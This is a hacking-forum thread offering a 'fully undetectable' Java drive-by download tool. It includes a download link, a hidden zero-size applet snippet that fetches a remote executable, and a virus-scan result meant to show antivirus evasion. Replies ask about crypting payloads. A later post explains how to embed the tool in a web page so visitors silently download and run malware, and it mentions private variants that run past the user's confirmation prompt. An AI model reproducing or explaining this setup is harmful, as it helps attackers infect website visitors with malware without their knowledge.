[Merkuri]

FUD java drive-by

Download Link

Code:

http://www31.zippyshare.com/v/10247629/file.html

How to use it?
Just supply the program argument and the file URL to download from.

Example

Code:

<applet code = "driveby.Launcher.class" archive = "driveby.jar" width = "0" height = "0">
    <param name = "YourProgram" value = "http://www.yourprogram.com/yourprogram.exe">
</applet>

Virus Scan

Code:

http://vscan.novirusthanks.org/analysis/91425386b27fd88e72196a7b09dfc107/ZHJpdmVieS1qYXI=

[Crimson]

This looks shmexy.
Thanks for this.

[т я ι χ т я]

Truly love Yu mate i was loking for it thnx for it

[Google_SL]

This sounds interesting, does my download need to be crypted?

[i0xIllusi0n]

FUD java drive-by

Download Link

Code:

http://www31.zippyshare.com/v/10247629/file.html

How to use it?
Just supply the program argument and the file URL to download from.

Example

Code:

<applet code = "driveby.Launcher.class" archive = "driveby.jar" width = "0" height = "0">
    <param name = "YourProgram" value = "http://www.yourprogram.com/yourprogram.exe">
</applet>

Virus Scan

Code:

http://vscan.novirusthanks.org/analysis/91425386b27fd88e72196a7b09dfc107/ZHJpdmVieS1qYXI=

bro work but not running my server why?

Willing to bet it's not FUD anymore.

[The High Roller]

Thank you for sharing this it's great.

[Merkuri]

FUD java drive-by

Download Link

Code:

http://www31.zippyshare.com/v/10247629/file.html

How to use it?
Just supply the program argument and the file URL to download from.

Example

Code:

<applet code = "driveby.Launcher.class" archive = "driveby.jar" width = "0" height = "0">
    <param name = "YourProgram" value = "http://www.yourprogram.com/yourprogram.exe">
</applet>

Virus Scan

Code:

http://vscan.novirusthanks.org/analysis/91425386b27fd88e72196a7b09dfc107/ZHJpdmVieS1qYXI=

bro work but not running my server why?

Are you sure that you have done everything correct ?

[i0xIllusi0n]

where do i need to put the argument and the file URL to make this work.?. i'm a newbie so don't be hard on me..

This thread is old and the JDB is no longer FUD.

[i0xIllusi0n]

serious i don't care about that now... it really doesn't matter if it still works or not.. i just wanna learn new things.. so if you can help me a little bit to understand how it works and what do i need to modify i will be grateful to you

a JDB is a Java-DriveBy. It uses Java to download and run a file in the background, without a user knowing. You want FUD ones so it won't be detected by AVs. When you do find a JDB, you upload the *.jar to your FTP directory, then in your index.html or whatever page you're on, you add the code that is given to you so when the users' browser runs the page HTML, it will call upon the JDB which then downloads the file.

In the script it gives you to add, you'll see where to put your download link. This is because the JDB downloads from that link, you don't ind it to anything, so you want a DIRECT link to your malware, so it downloads and executes correctly. Once ran, the iframe or whatever on your page (if any) will just show a white / gray screen, even after the Malware is ran. It never goes away since there's nothing to display.

But of course for this to work correctly, when the user goes to the page, they will be asked about a Java confirmation. They have to click yes on the confirmation for the JDB to download. Otherwise, it doesn't run. From what I hear, however, there are some private JDBs that run even though the user closes out or denies the confirmation. Good luck finding those, though.